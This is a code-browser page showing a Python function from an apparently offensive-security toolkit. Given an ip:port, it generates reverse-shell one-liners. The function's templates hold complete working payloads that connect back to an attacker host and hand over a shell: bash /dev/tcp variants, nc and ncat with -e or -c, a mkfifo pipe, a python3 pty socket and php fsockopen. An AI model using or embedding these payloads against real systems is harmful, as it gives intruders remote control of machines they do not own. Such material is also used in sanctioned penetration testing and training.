MCPcopy Index your code
hub / github.com/chasingboy/Xtools / reverse_shell_tools

Function reverse_shell_tools

utils.py:416–462  ·  view source on GitHub ↗
(shell,ip_port)

Source from the content-addressed store, hash-verified

414'''
415
416def reverse_shell_tools(shell,ip_port):
417 if ip_port.count(':') != 1:
418 info = '[-] Input format has error(ip:port)'
419 return info
420 ip,port = ip_port.split(':')
421
422 shell_template = '''
423---------------------------------------------------------------------------------------
424# Bash -i
425{cmd} -i >& /dev/tcp/{ip}/{port} 0>&1
426
427# Bash 196
4280<&196;exec 196<>/dev/tcp/{ip}/{port}; {cmd} <&196 >&196 2>&196
429
430# Bash 5
431{cmd} -i 5<> /dev/tcp/{ip}/{port} 0<&5 1>&5 2>&5
432
433# Bash read line
434exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done
435---------------------------------------------------------------------------------------
436''&#x27;
437 other_template = ''&#x27;
438---------------------------------------------------------------------------------------
439# nc -e
440nc {ip} {port} -e bash
441
442# nc -c
443nc -c sh {ip} {port}
444
445# nc mkfifo
446rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {ip} {port} >/tmp/f
447
448# ncat -c
449ncat {ip} {port} -e sh
450
451# python3
452python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("{ip}",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
453
454# php
455php -r '$sock=fsockopen("{ip}",{port});exec("/bin/sh -i <&3 >&3 2>&3");'
456---------------------------------------------------------------------------------------
457''&#x27;
458
459 if shell == 'other':
460 return other_template.format(ip=ip,port=port)
461 else:
462 return shell_template.format(cmd=shell,ip=ip,port=port) + shell_template.format(cmd='/bin/'+shell,ip=ip,port=port)
463
464
465''&#x27;

Callers 1

runMethod · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected